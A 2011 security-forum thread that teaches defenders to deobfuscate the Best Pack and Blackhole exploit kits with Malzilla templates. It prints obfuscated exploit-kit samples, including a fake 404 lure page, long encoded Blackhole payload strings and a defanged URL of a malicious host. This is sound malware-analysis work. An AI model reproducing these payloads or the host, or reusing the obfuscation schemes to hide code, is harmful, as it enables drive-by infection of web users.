Author Topic: Deobfuscate exploit kits using Malzilla  (Read 39630 times)

0 Members and 1 Guest are viewing this topic.

August 02, 2011, 08:07:31 pm
Read 39630 times

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
I'll give you some examples how you can use Malzilla for deobfuscation of exploit packs.

My preferred method is using templates for various exploit kits.

Part 1 - Best Pack exploit kit

Create a new file in Malzilla's subdirectory "templates" and name the file "BestPack".
Insert the following lines.

Code: [Select]
delimiter=':';
 var xcvb,worda=alt.split(delimiter),resalt='';rasn=18;
 for(var ii=0;ii<worda.length;ii++)
 {
   xcvb=eval(worda[ii]-rasn);
   resalt+=String.fromCharCode(xcvb);
 }
 document.write(unescape(resalt));


Load obfuscated code into a decoder tab and delete everything from the beginning of the script till "alt".









Goto the end of the code and delete everything behind the data array. Add a comma at the end.








Click the "Template" button and choose "BestPack" from the list. This will insert our template code at the top.




Cut the inserted code and paste it at the end of the script. Adjust the delimiter value. In my example all data values are separated by "^".
We have to change the value of delimiter to "^".



Now click the "Run script" button and you will see the deobfuscated code in the bottom window.






Ruining the bad guy's day

August 08, 2011, 08:30:22 pm
Reply #1

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Part II - Blackhole exploit kit

In this part I will show you how to deobfuscate the currently dominating exploit kit - Blackhole.
We use a template for decoding again.

Here is the template. Create a new file in Malzilla's subdirectory "templates" and name the file "Blackhole".
Insert these lines:
Code: [Select]
s=new String();

        if(typeof(a) == 'string') {
         for (i=0;i<=a.length;i+=2){
  q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
  s=s+z.substr(q,1);
         }
        }
         else   
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
  s+=z.substr(a[i],1);
}
        }

        document.write(s);



Blackhole consists of an character table stored as a string  in variable z

e.g.

Quote
z="kAp\"vl?j >ge_sEXaCG}$PD!wMx7BI+r6.1[5nd@fzq3/Ui{|*uc<hy\\2:4R(QLo'KSFJ=9mWO)VbT]0t^N;H8-,&";

and an array of indexes for this character table.

I have seen 2 different versions of code so far. Indexes are either stored as string

Code: [Select]
<html><body><style>div {display:none;}</style><div><div>38635150711137803324314680116064525111378011310952533409587958088263800867635037385244533409524451113780113109525331096474834050375180466337081137381231113846311151806074471904163108071604164046051169643344101671111344101180681604162937406333071631648304163108070411316935798779877987797887023840041131693579877987798779788....
or stored in an array

Code: [Select]
<html><body><script>
a=[26,25,87,62,75,54,88,49,57,45,72,48,49,54,78,50,24,87,54,88,49,54,72,27,24,4,22,27,80,47,80,86,64,25,49,86,37,25,62,88,26,24,70,4,22,27,24,70,87,54,88,49,54,72,27,24,4,72,27,50,89,7,41,62,88,87,49,48,25,88,86,54,88,26,42,72,54,26,48,72,54,87,49,78,89,23,19,5,82,72,86,73,82,5,82,41,48,36,54,65,50,57,70,66,82,75,54,53,7...

All we need from the original script is the character table and the index values. Delete everything else.

Let's start at the top. Load or paste a script into a Mazilla decoder tab.

If the indexes are stored in an array, then you only need to remove the leading html tags.
It should look like this.





If indexes are stored as a string, then remove leading html tags and insert
Quote
a="

Here is an example





Let's go to the end of the index values.

If we have a Blackhole script that stores indexes in an array, then you only have to remove all code
behind the character table in variable z.





If we have the string version of indexes, then replace
Quote
</div></div><script>
by
Quote
";
Keep the character table in variable z and delete all other code.





Now click on the "Template" button and choose "Blackhole" from list. This will insert our template code at the top of the code.





Cut the inserted code and paste it at the end of the script. Now click the "Run Script" button and you will see the deobfuscated code in the bottom window.



Caution !

Latest version of the Blackhole splits character table (variable z) into multiple lines. Make sure that you keep all lines.  ;)

example
Quote
         z="[>{v-X.0saQ,\"h(p7IPcE4m5Ng\\W";
         z+="i8?^lx&MJ;b$!FnHuBw=*13k@y/DKC";
         z+="ze|rL: +f'oG)Oj]R_SU2V}tA<Tdq96";
Ruining the bad guy's day

August 12, 2011, 12:27:48 pm
Reply #2

jbomber26

  • Newbie

  • Offline
  • *

  • 3
Awesome explanation! Thank you!

August 12, 2011, 09:03:04 pm
Reply #3

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Update for Best Pack template

A new version of Best Pack uses a  mix of ascii and unicode characters.

An example can be found here
Code: [Select]
hxxp://cicarredgtal.servecounterstrike.com/kntrn334e/spl.php
It looks like this:
Code: [Select]
<html>
<head>
<title>Error 404</title>
<noscript><meta http-equiv='refresh' content='0;URL=bad.php'></noscript>
</head>
<body>
<img src="18.png" width="1" height="1" alt='' id='55&#41;72&#41;70)55)72)88)55)&#55;2)6&#57;)55&#41;73)7&#49;)55&#41;72&#41;&#56;6)5&#53;&#41;72&#41;71&#41;5&#53;)72)87)55)&#55;3)7&#48;)55)&#54;8)&#56;7)&#53;5)7&#51;)73&#41;55)&#55;&#51;)6&#56;)55)72)75&#41;&#53;5&#41;&#55;3&#41;7&#48;&#41;55)7&#50;)71)55&#41;68&#41;74)55)68&#41;73&#41;55)6&#57;)85)&#53;5)&#55;&#50;&#41;69)5&#53;)&#55;2)71)55)&#55;2&#41;&#56;7&#41;&#53;5)&#55;&#51;)70)55&#41;&#55;2)71&#41;5&#53;)7&#51;)&#54;8)55)&#54;9)&#56;7)5&#53;&#41;69)85)55)7&#50;)74)55)69)67)&#53;5)69)8&#55;)&#53;5&#41;&#54;&#57;)70&#41;&#53;&#53;)69&#41;&#54;6)55)69&#41;&#55;0)5&#53;)68&#41;66)55)7&#48;&#41;87)55)7&#50;)88)55)&#55;3)70)55)6&#56;)6&#54;&#41;&#53;&#53;&#41;70)72)5&#53;)&#55;2)88&#41;55)73)&#55;1)&#53;5)7&#50;&#41;8&#55;&

The conversion is normally done by a victim's browser. In Malzilla we emulate a browser only.
So have to do the conversion by script.
I have added conversion to the Malzilla template. Template can now deobfuscate old and new versions of Best Pack.

Here is the new template:

Code: [Select]
delimiter=")";
str="";isuni=false;ii=0;cc="";
while (ii<alt.length){
 z=alt[ii]; 

 if (alt.substr(ii,2) == "&#") {
  isuni=true;
  ii=ii+1; 
 }

 if (((isFinite(z)) || (z==delimiter)) && (isuni==false)) {
  str=str+z; 
 }

 if ((isFinite(z)) && (isuni==true)) {
  cc=cc+z; 
 }

 if ((z == ";") && (isuni == true)) {
 isuni=false;
 str=str+String.fromCharCode(Number(cc));
 cc='';
 }
 
 ii=ii+1;
}

var xcvb,worda=str.split(delimiter),resalt='',rasn=18;
for(var ii=0;ii<worda.length;ii++){xcvb=eval(worda[ii]-rasn);resalt+=String.fromCharCode(xcvb);}
document.write(unescape(resalt));

A modified script should look like this example:
Code: [Select]
alt='55&#41;72&#41;70)55)72)88)55)&#55;2)6&#57;)55&#41;73)7&#49;)55&#41;72&#41;&#56;6)5&#53;&#41;72&#41;71&#41;5&#53;)72)87)55)&#55;3)7&#48;)55)&#54;8)&#56;7)&#53;5)7&#51;)73&#41;55)&#55;&#51;)6&#56;)55)72)75&#41;&#53;5&#41;&#55;3&#41;7&#48;&#41;55)7&#50;)71)55&#41;68&#41;74)55)68&#41;73&#41;55)6&#57;)85)&#53;5)

.....


)55)68&#41;&#56;5&#41;55)&#54;&#56;&#41;&#55;3)55)71)&#56;8&#41;5&#53;)7&#51;&#41;&#54;9)55&#41;72)&#55;1)55)72)85&#41;55)72)7&#50;)55&#41;&#54;8)73)55)6&#56;)75)5&#53;)69)&#56;4';

delimiter=")";
str="";isuni=false;ii=0;cc="";
while (ii<alt.length){
 z=alt[ii];  

 if (alt.substr(ii,2) == "&#") {
  isuni=true;
  ii=ii+1;  
 }

 if (((isFinite(z)) || (z==delimiter)) && (isuni==false)) {
  str=str+z;  
 }

 if ((isFinite(z)) && (isuni==true)) {
  cc=cc+z;  
 }

 if ((z == ";") && (isuni == true)) {
 isuni=false;
 str=str+String.fromCharCode(Number(cc));
 cc='';
 }
  
 ii=ii+1;
}

var xcvb,worda=str.split(delimiter),resalt='',rasn=18;
for(var ii=0;ii<worda.length;ii++){xcvb=eval(worda[ii]-rasn);resalt+=String.fromCharCode(xcvb);}
document.write(unescape(resalt));
Ruining the bad guy's day

August 21, 2011, 06:14:18 pm
Reply #4

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Updated template for Blackhole exploit kit

Blackhole kit has been modified since a few days.  Index values are not split into multiple div sections.
You can remove all the div tags manually, but this would be a waste of time.
We can do that by template.

Here is the updated template.

Code: [Select]
       s=new String();

        if(typeof(a) == 'string') {
         a=a.replace(/<html><body><div style="overflow:hidden;width:1px;height:1px;">/g,"");
a=a.replace(/<\/div>/g,"");         
         a=a.replace(/<div>/g,"");         
         a=a.replace(/<script>/g,"");
         for (i=0;i<=a.length;i+=2){
  q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
  s=s+z.substr(q,1);
         }
        }
         else   
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
  s+=z.substr(a[i],1);
}
        }

        document.write(s);

Enclose index values in single quotation marks.

A modified script, ready for deobfuscation, should now look like this example:

Code: [Select]
       

a='<html><body><div style="overflow:hidden;width:1px;height:1px;"><div>82083072255779061534525506570085763057790657520276568102444144056508060550087279827673568102767330577906575202765652028545678672793006550879055779827752578255525730060045093455798208341571083036065508</div><div>79155652578624855606064360737322080822715715300825856737423652056436423686557157248515732236255717732257067436423638798608156436528567423652056442575224594132413241324170324382864257522459413241324132</div><div>41706706523909423652051871722255791357065730062409563679827157526086727930065508790030322132364509525706725279058672793006550879004509300021323645373732551713578655795782608672793006550879002145095257</div><div>06725279050639435708860521882469727982578655795782693732551747525236396086727930065508790021450952570672527900733652523639735545150657170600332164573006154352080608063943571506088706525579221530367171</div><div>00214545373255175072793060867279300655087900214509525706725279050639435708860521242469867279300655087969373255178706525579226086727930065508790021450952570672527905063943570886052124246917065255792269</div><div>37325517657225608672793006550879002145095257067252790506394357088605212424697972252157526937325517870652657225608672793006550879002145095257067252790006394357088605212424691706525579226968680073808273</div><div>45150657170600214545373222570665722503572248607359808270598082801580773262705173321743715506657225035722486073598015807732627073223222570665722560867279300655087900213230450942365205822406565517323624</div><div>82155517870652657225002145040082155517135786557957820030450479573405035722294843003045608215225706657225035722484515574857300021456079727171675257067252790536043659417060797271713732300825433652576572</div><div>25176086727930065508790056328632824509423652055724065655173230322132363222244336521757387906675586005715551787065265722500564568685715551787065265722500864545095586005715551713578655795782008245686882</div><div>15300825433652576572251745095257067252790582153008254336525765722517005632864537302456151743715506005715174371550665722503572248456721248615174371550600571517437155066572250357224845678608520036244167</div><div>36764936065615255579003015715779220656322115715779220656456736353545095586002200305936703281414502220021593670328141454509525706725279058137558600220030593670328141457622002159367032814145450952570672</div><div>52790562813737375257067252790541373286085225360665722560867279300655087900213230450942365205822406565517323632576755860088821555178706526572250021454509525706725279057972717137558600888215551765722500</div><div>30454509302444373062626757242115525743713630570073801773223269694515174371550600821517437155066572250357224845153008793036060059694169326941693269416932694169704567860852003624416736764467363535450955</div><div>86007301004135450015354531731506571706005759367045450957593670240357222948431531113755860036023066668800738082734515065717060057593670454509575936702469416937375257067252790557151771553057004132444515</div><div>64085579006932694537323131563617495525572839435760867279300655087900364509525706725279058672793006550879008245095586008836155517382968688245094236520530322132573286243615551787065255792200824504598270</div><div>60826755860088866666888615715779220656450952570672527905797271713786085200572441675776861571577922065667573535450955860073590180177073150657170600865957704568680030247936425522360608521525552557283943</div><div>57175986595770704568680021243015577936217157821871722255794568680021157936255766662115825717305255430655087945450952570672527905303737375257067252790579727171373732865579826536421871722255796086727930</div><div>06550879007132573230450942365205642406565517325624795734050357222948430071326955694532822400886415551713578655795782005745666657450473808273604132582430047957340503572229484300303269556945604132362479</div><div>36425522360608521543717222557917322224696932863221322567860852008624416786763615715779220656678635354509252436598670158257173052554306550879666622672124365986701579362557666622675586000056150657170600</div><div>25456868008882666682150657170600035722294843157157860610087906574806350357222948431552552256061008790657480645454566660056150657170600214568680088826666821506571706000357222948431571578606100879065748</div><div>06350357222948431552552256061008790657480645454545095586008858666688005815065717060025456666581506571706002145454509525706725279053659867037373752570672527905797271713732225706495525572979362171578218</div><div>71722255796086727930065508790036328645094236520557240656551732213230247957340503572229484300863269556945328224696967558600002124571556361749552557283943570036454568680021242115577936217157821871722255</div><div>79456868003015065717060021158257173052554306550879666682456666301506571706002115793625576666824545450952570672527905213752570672527905413732225706187172225579505571576157521755087960867279300655087900</div><div>86322145094236520556240656551732573282322232363230246281675586005615338702116666888666668886154257521755087966668800572456152257066572250086154257521755087945454509525706725279052137558600882145095257</div><div>06725279055737572456158608522536066572250057456721245615860852253606657225002145678224211517437155060056151743715506657225035722484567222457151743715506005615174371550665722503572248456786085200362441</div><div>67367682157157792206566736353545095586003002628168683602306868825936708824694169450952570672527905213755860022593670882482593670450955860030242462814509302436375586008259367088246941694509525706725279</div><div>05213737375257067252790557373247143360345579820834154730065542571433216457300632225706471433608672793006550879002145094236520586247972717132823230240656551732366706523909862479573405301547143300214537</div><div>30360630560082450937525706725279058637323008794257520650727930176086727930065508790022450942365205363256328632212473015980317059803170733282240937323024065655176786085200360555790522450955860021150657</div><div>17060036454509825936702481373786085200360555790582450906523909562436151771553057001145675586005615715779220656024168688822595670450922595670242259367000224567825771570657052259367037373036063056008645</div><div>09373737325579550687305255430660867279300655087900450942365205302406565517323624793642552236060852325724697369325524361572175752472257790666666969322224361542577982085266666969322124361543713606860852</div><div>25666669693256243615435208827230066666696967301533872481414167558600214509423652058632822459697555796932813269493630693211326916557972486932233269505257571287136932443269551856087957693211811581326955</div><div>18088269321181151132695518368269321181152332697555791551102969321111158132697555791551490821557157693211111511326918083058570680801751181069321111152332696932814141706786085200862482157157792206566211</div><div>67860224416786248662114509558600825986706868795734050357222948430082598670326955694515065717060021454509301533872482598635817067215257365837373730153008794257520650727930170030456730155517382924795734</div><div>05507279300655087900695257067252790569355735695126303077087988265169355735698636711757694500456730154257523829243015551738296868007349873829801751008082358015048082514573554515065717060055450443365217</div><div>57507108360600035722294843153181328141456079727171673015473006554257142979362171578224863671175767558600301555173829450942365205863264245969491748257111151449162028281869326949174825711115133349130830</div><div>72255779066932694955305208170886061514491613334969326987560830583436425750713617561587560830583436425750713617566932692813101006711528131010067169326987565771711527382057714357526932698730525543065579</div><div>22151355300655087936523969326934254371363957521508304869706786085200862441678676641571577922065667863535450955860030152257064714330064598670454509301547300655425714297936217157822406527257672152573658</div><div>37373015565736822430155517135786557957820082083072255779061522570629715725577906171239283622653625574504820830722557790615225706297157255779061712392836226536255700695657368269455941706079727171373015</div><div>55174057305808240073405730580873554515065717060056456868007340573058088017518073801751808273554515065717060055456730154257524057305808243015551740573058080430158608522536066572250000735242801751806080</div><div>17510059801580328082703545735545150657170600554504035722294843153181606941158469456079727171673015551787368636525524007387368636525580175180738017518082735545150657170600554568680073474343715773554515</div><div>06571706002245673015551710565208255724007310565208255780175180738017510080825980828015705145735545150657170600554567301542575210565208255724301555171056520825570430158608522536066572250003572229484315</div><div>31814560797271716730155517334357523624007333435752368017515980737004801751008082358015048082514573554515065717060055456730154257523343575236243015551733435752366868000073615752175508798017518073801751</div><div>00808235801504808251457355451506571706005545666681450443365217575071083606000357222948431531813281414560797271716730153682827555792942577906006971083682693230155636798271575200301552727975168672793017</div><div>32304545373255795506608672793006550879003045094236520521240656551732363230675586008821155517870652557922003045450952570672527905622337558600301571577922065624248145092115225706615752175508791357715525</div><div>55065752243067525706725279056223373024301506081608345752103617570045155257437136305700738017732232696945673624215930706755860088366666883615225706615752175508794509525706725279056223372115437172225579</div><div>24366755860088211555171357865579578200361555791706367171578245450936155579170636717157822436154257521755087924361542575217550879412436152257066157521755087913087957247972717167361531242167361543717222</div><div>55796536255724303721152236522136225724863671175767558600211555173829686888211547300655425714297936217157824509558600368824242115643642364509525706725279056211373752570672527905813732861872175660867279</div><div>30065508790021323645094236520530240656551767558600301555174752523639003645686800301555175072793000214566660030155517475252363900214568682115715779220656024168683015551750727930002159417045454545093615</div><div>43721756002145373732303671714752523639608672793006550879002145094236520530240656551732366755860030155517475252363900214545098608520036244167367621157157792206566736353545095586002159367024242479727171</div><div>45095257067252793730153036717100215936704567215936702479727171373737323036717160867279300655087900304509423652052124065655173236242115551747525236390030450430157157792206566062816755860036024168682115</div><div>55175072793000305941704545093059417000213236028104305981706041323602110430591170604132360223043059237060414537577117570955860021155517507279300030454509300021453737373222570661575217550879135771552555</div><div>06575260693269323131225706615752175508796086727930065508790036450952570672527905867279300655087900223282323045094236520557243615557955060022453286322132566755860057764145095257067252790579727171376786</div><div>24361543717222557967558600861522570661575217550879130879578824814509861522570661575217550879007972717132823230456755860086152257066157521755087913087957242424797271714509861522570661575217550879130879</div><div>57248137373615307157367972430045672124008615425752175508796666861542575217550879414567212421042115525743713630570036151743715506657225035722483236152257066157521755087913577155255506575245602167525706</div><div>72527905213737323071573679724360867279300655087900450942365205362406565517675586003615223652213622576868361555171357865579578200345579820834151008717157300640365221362257454509345579820834151008717157</div><div>30064036522136225700453737323682827555792942577906608672793006550879008232304509423652055724065655173236243455798208343221675586005715551750727930003045450955860036153682822942577906165517065779575245</div><div>09361536828229425779061655170657795752008232303286367117574537577117570955860036153606063630562942577906450936153606063630562942577906006908796935823230453757711757092124365969087969358270673659690879</div><div>69358270245715345579203679827157520030322145373737373234557920367982715752608672793006550879008232304509525706725279058672793006550879004509820045675586000639435708860530242469867279300655087969450930</div><div>00453737373275168672793017416059703275168672793017605970325272797516867279301760867279300655087900364509361534557916083682578224065272576736153036717147525236390036157516867279301741456736153036717147</div><div>52523639003615751686727930174567558600361508791308795729254306391355424509361508791308795729254306391355420045373732345579160836825782608636711757323131087975557982083416083682578260867279300655087900</div><div>36450952570672527905867279300655087900214509558600361534557916083682578245093615303671710021453757711757093615861872175600213236157516867279301745373737328255426079727171328255427555820656601941324371</div><div>72225579875583576081325725430639135542608672793006550879004509423652053024065655173236325732213282244167558600301582554268683015825542153056557182650882571745098608520036243015825542153056557182650882</div><div>57171571577922065662816736022441673662624509212430158255421530565571826508825717593670675586002168682115305655718265088257174509558600822424414509860852005724211530565571826508825717157157792206566281</div><div>67570224416757626245092115525725084257105655718200211530565571826508825717595770453730158255421552572508425710565571820021453757711757093737373737321333652986727930176059703208791308795729254306391355</div><div>42608672793006550879004509423652053024065655173236322167558600883015345579160836825782450952570672527937558600301575168672793017686830157516867279301715715779220656686830157516867279301759301575168672</div><div>79301715715779220656628170882424797271714509525706725279378608520036055579053045092124305936706755860021686821158672793017450955860021153328502424234509525706725279375586002115867279301715715779220656</div><div>68682115867279301759211586727930171571577922065662817088242479727171450952570672527937373786085200362441673676301513336529867279301715715779220656673635354509301530367171475252363900301513336529867279</div><div>30174537301557254306391355420045373222570675558206566086727930065508790030450955860030450942365205362430151730520871717555820656666630150886861757067555820656322124065655176755860021155517657225003645</div><div>45095257067252790536373752570672527905628137322257062836228706360672176086727930065508790025322232363221450942365205302406565517328632582425151743367932712430152257067555820656005845325624361517433679</div><div>32642430152257067555820656005645328224221517433679325524301522570675558206560082456755860088586666885666668882666688301522570613334908216400254545095257067252790562113755860064765566667176416666647641</div><div>66665576416666557624301543717222557987558357666630154371722255798755835776814509525706725279054137558600710224554509525706725279056281370652390955860071242430154371722255798755835768680088301555173829</div><div>66663015225706133349082164002545155257368239870636065724244445450955860088251534557916083682578268683015345579160836825782450952570672527905813755860025153455791608368257826868301555176572250021454509</div><div>55860088301555176572250025153008727906454509251530087279062421375586002162251530087279060224814145095257067252790581373737373036063056008645093752570672527905413732225706133349082164608672793006550879</div><div>00223236450942365205863282240656551732302422042215174336796041322124306868301586555217061056557182048160416706523909558600216868364509301586555217061056557182158608307217004537373036063056008645093752</div><div>57067252790521043015865552170610565571826079727171373217570687063971576086727930065508790021322245094236520586242115170639715732363282323024065655176755860086686822450986085200362441673676221571577922</div><div>06566736243635114509065239098659225936707024225936358170373036063056008245093737373732557917575206135542387912088239608672793006550879005545094236520522328224065655173256246943822323848423238484693230</div><div>24797271713286248208307225577906322124697669323624008615225706297157255779061712392836226536255700692108823969455941706666861521088239456755860088364509065239098615345255065700213585825542055582246985</div><div>35563585690208853521356973825542026945673024861522570629715725577906123938820056453730360630560022450937373624008615225706297157255779061712392836226536255700692108823969455941706666861521088239456755</div><div>86003645095586003615865552170610565571826868821555171357865579578200361555791757520612578608525745450936155579175752061257860852570055323615865552170610565571824537577117570936153643435779821056557182</div><div>00554537558600304509361552572508425710565571820030453737577117570937373255791757520620284916608672793006550879002232213256323632584509423652057132252482083072255779063264240656551732783208242515305257</div><div>36065729715725577906006917433679694532793255328624697669674236520530245969087206715579578706397157693269790879576932692108528257528706397157693269790879576932694336828255792269326941434869326925365222</div><div>55796932694143486932694255175521557155063969326942551755217157697067558600886415551713578655795782003645450936246969375586006415551787065255792200224568680073590180177073451506571706002245450978248635</div><div>22358505345582065624698535641543717222557987558357358569055657552256062469853564154371722255798755835735856905856786085200792441677976211571577922065667792479351145095586007359018017707315065717060021</div><div>59793581704545097835242159797035852469853521597935817035856905853737783524690269678608520079244167797656157157792206566779247935114509558600735901801770731506571706005659793581704545097835248635854336</div><div>52362505793625572469853556597970358569054236717257246985355659793581703585690573028537377835243635863569736935223569026937577117570978243637558600886415825542450964158255422425153052573606572971572557</div><div>79060069825542694567552425152257062971572557790612393882006943717222557982570657300669456755860055450964158255422455375771175709641582554215558224694371722255798257065730066967641555791757520613554238</div><div>79120882390064158255424537641517570687063971570064158255423230153008793036060059693455820656693264158255427555820656356943486932695657552256066932006415437172225579875583573523453569434869326986087906</div><div>87558357693200641543717222557987558357352345356943486932697155795720575522560669320064154371722255798755835735234535694348693269425752065530367147715522796932692136175771557957693269825517437136396932</div><div>69217108305869704545675586008855450964151757068706397157006415825542325969430817550655087969326936211708717206576932695255225606693269414348693269060843693269414348697045373755860064158255426868641582</div><div>55421543365257790665088257450964158255421536434357798210565571820008456764151757068706397157000832301530087930360600596986087906875583576932006415437172225579875583573523453569434869326971557957205755</div><div>22560669320064154371722255798755835735234535694348693269425752065530367147715522796932692136175771557957693269825517437136396932695579715579576970454567065239095586000868680815433652577906650882574509</div><div>08158608307217004537373036063056007145093706523909081555797957522028491624783730360630560071450937558600081530565571826508825717157157792206562424816868880064155517405730580868686415300825433652576572</div><div>25170064154257524057305808326981321932413241694576414545096415175706870639715700081586555217061056557182323015300879303606005969825517437136396932695579715579576970454537525706725279091743367960083234</div><div>55791608368257826064153455791608368257823206362265362557600064155517870652557922002245042260696945373752570672527909174336796079727171323455791608368257826064153455791608368257823206362265362557606969</div><div>37373264364236600925552557283943576059693643437155303606550879734862643642366236434371570669326936434371553036065508797348626436423662422569326936434371553036065508797348626436423662215736796970322555</div><div>25572839435774183860693643437155303606550879734862643642366236434371570667644355624257521755087924693230713617173813606930711755826053471384105344416241444429628181138162122329846241415341195044848413</div><div>84236932132854307136171738136069307117558260104750292950471062132910076241414141624141414162471210132950502913101247693213285425552557283943576059693643437155303606550879736436423662825743710839255779</div><div>06620608087158550669326936434371553036065508797379435272790655255762173052554306362171576243717222557967135743710839255779062808087158550669703286085230576157525586392836226059703264365260597032297936</div><div>21715782607936425522360608521564364236297936217157820045326129651333038760596987727905495530520817391706572517053879301569326947434371570510082543720657523205387930156970323328506079727171324771717742</div><div>57521755087917605970322555255728394357741838525717727106606969327436423618717222557977425752175508791760597032743642366157521755087917605959813284321132234170325981325332113223417032598132073211322341</div><div>70325981324632813223417032598132193281322341703259813244321132234170325981322332813223417070321757365230567436423618717222557947143360867279300655087900450942365205562479727171323624065655173230243615</div><div>31322224597032642459813219324132814470325524598132463241321170328624598132233281324170325724598132443211324170328224598132193241320770322124863671175767558600883015473006554257142979362171578245095257</div><div>06725279057972717137675586003015425752382902243615255579382942575245092224361517573652305674364236471433005532553221456755860022157157792206560241686821450922243615175736523056743642364714330064326432</div><div>21453737577117570955860022157157792206562424414509222436151757365230567436423647143300863257328636711757453737558600221571577922065602414509562422594170373615743642361871722255797742575217550879172459</div><div>70153008793036060022456752570672527905563732175736523056743642364714336086727930065508790071325532254509423652057932863256240656551715313278325832363257322232643221325224597067558600561530082543365257</div><div>65722517007115640855790069326945325515640855790069326945450241450955247137552456158608522536066572250055156408557900693269454567423652050832822469813244321132416932302469743642361871722255791569357159</div><div>41703569693571598170356969357159117035696935007159237002410400697769350071592370768141046941696069694535715923704560696945678608520079244167797606565517157436423661575217550879171571577922065667793535</div><div>45098624065655171574364236615752175508791759797067782469743642361871722255791569358659417035696935865981706722248659417035691569358659817035691569678608520036248659117067360224416736626245092124697436</div><div>42367557218706365206155517387917063671715782156935223536356915416967558600561530082543365257657225170086594170356932693586598170356932693536356932416932554502244168688856152257064714330021454509300879</div><div>06557972573708245615300825433652576572251700865941703569326935865981703569326935363569324169328245764104065272576086367117576786085200572486592370675702244167576262450958243635697769350057768141046941</div><div>69355760574567642478355867558600561522570647143300644568680008666656152257064714330021454545095215437217560022355845675586008825450952570672527905523737558600642424304509525706725279055237375586005615</div><div>22570647143300783536456868000866665615225706471433002145454509521543721756002235364567558600882545095257067252790552373755860078353624243045095257067252790552373737525706725279055237322555793829425752</div><div>60073222570649552557741838425752175508796086727930065508790045094236520556323624065655173282243615313230247957340503572229484300690069353615255525572839435774183835694500808082155145693269556945325824</div><div>79573405035722294843006974364236693269556945325732643286246969325524093732222441322167860852005624416756767936425522360608521525552557283943571715715779220656675635354509642479364255223606085215255525</div><div>57283943571759567067558600301506571706006415063943574568680057246415577936217157821871722255794568680064240357222948431531114568680058150657170600571582571730525543065508796666864566665815065717060057</div><div>15793625576666864545450955596936693582158608522536066572250064457024643737212469413241324132416967860852005605557905554509223535675724561517715530570081456755860082153008254336525765722517005732214502</div><div>41450921245737373615255525572839435774183852571772710624220241043615255525572839435774183835555969366935217060696967525706725279052202410421607972717137322257066157521755087960867279300655087900253282</div><div>32714509423652058632302406565517325724301531325624301565332850322124301536434371570632642430154257525586393255244257798208522442575217550879297936217157822479727171675586003015225706615752175508791308</div><div>79572424247972717145093015332850244167301525552557332164245715563617495525572839435700301525552557283943574567301582574371083928541531245767301582574371083928541543365257790665088257243067211531245767</div><div>21154336525779066508825724306755860056450956153124576756154336525779066508825724303755860064450964154336525779066508825724306764153124576764155579550600453737423652055867558600571555174752523639007145</div><div>45098608520058244167587621153671710834578215715779220656675835354509558600571555176572250071595870454509211536717108345782595870247159587037373786085200582441675876301586085230576157525586392836221571</div><div>57792206566758353545092115367171083457825958702430158608523057615752558639283622595870375586005715551787065255792200824545093015643652154372175600824537558600301522570661575217550879130879572424414509</div><div>55860088301542575217550879666621153036792852394779390045450986242115557917575206202849166372575239477171008245675586008659417045093015557917063671715782248167301529798240570661575217550879008659417032</div><div>86598170453737525706725279374236520522243015825743710839285415787257523900456755860022157403294509552422157403296742577982085224301561296513330387594170375586008857155517382945094236520578327932363208</div><div>67082400301525552557332164686830152979362171578245040652725760863671175767558600885568680086243015225706495525577418384257521755087900454588242479727171450955248637558600885568683015255525573321644509</div><div>86246974364236590180808270511871722262557969673624571586557982653642187172225579008645675586003645098624795734050357222948430086326955694567782486150657170600361582571730525543065508796666696945045715</div><div>22570665722500361582571730525543065508794560797271716779248615065717060036157936255766666969450457152257066572250036157936255745607972717167558600786868794509552400571530082543365257657225170057158608</div><div>52253606657225007845325715860852253606657225007945450224414504786079375771175709552478666679373737558600885568683015255525573321646868571555178736863652556868571533872424114509362457158655798265364218</div><div>71722255790069743642361551808082155118717222625579155110083008366932414567558600364509782457152257066572250036158257173052554306550879456755860078450955247837373755860055450930154257521755087941245567</div><div>55860030152979362171578245094257521755087929793621715782245537373757711757095586008855686822151706360672172424414509552430151757365230567436423618717222557947143300456755860055450942577982085224301561</div><div>29651333038759417037375586005545093015425752175508794124556755860030152979362171578268685715473006554257142979362171578245094257521755087929793621715782245537373755860088425752175508792979362171578266</div><div>66211530367928523947793900454509862421155579175752062028491663725752394771710082456755860086594170450942575217550879297936217157822486594170674257798208522486598170373755860088425752175508792979362171</div><div>57826868008624301578725752397555065608720647434371570617004545594170450930154257521755087941244257521755087929793621715782248659417067425779820852248659817067558600301555791706367171578224246241151945</div><div>09301555791706367171578224411519373755860057155517873686365255686857153387242411450955860088425752175508792979362171578268680845095586003015557917063671715782242424797271714509301555791706367171578224</div><div>41375771175709558600301555791706367171578224246241151945093015557917063671715782244115193737373755860030156452571355173621715782004545094257521755087929793621715782247972717137675586003015557917063671</div><div>71578224242479727171450930155579170636717157822442575217550879297936217157820481600055046241151160628145373015297982405706615752175508790042575217550879297936217157823242577982085245373229798240570661</div><div>57521755087960867279300655087900213282450942365205362406565517323024361531675586003615425752175508794145093615425752175508794124301586085225360665722500301522570665722500361542575217550879414545375586</div><div>00214509361542575217550879243015860852253606657225003015225706657225002145456736154257798208522400301555178706525579220082450482606969453755860036152257066157521755087913087957882481450936152257066157</div><div>52175508791308795724413737326452571355173621715782608672793006550879004509423652052124065655173282242115313230242115825743710839285415787257523900451574032932366755860030686882153387242481450955860000</div><div>82155517405730580868688215300825433652576572251700821542575240573058083269813284321132416945022441686882153008254336525765722517003032698132463241328111694576414566660082155517105652082557686882153008</div><div>25433652576572251700303269813246324132811169457641454509525706725279058137376755860082155517334357523668688215425752334357523602248468688821152979362171578268688821152555255733216468688821157872575239</div><div>75550656087206474343715706170045594170450952570672527905813755860000821555174057305808666682155517105652082557456868882115255525573321646868882115787257523975550656087206474343715706170045594170450952</div><div>57067252790581375257067252790541373282574371083928546009170636067217607972717132740329367171605970327403296079727171322028491660797271713278725752396086727930065508790045094236520586240656551732562486</div><div>15313230248615433652577906650882573255323632213222247157792479727171675586008615170636067217882424797271714509525706725279058637861517063606721724416755860000561555174057305808686856153008254336525765</div><div>72251700561542575240573058083256158608522536066572250069811546694545762441456666561555178736863652556666561555171056520825576666005615551738296868885615473006554257142979362171578245450952570672527905</div><div>86375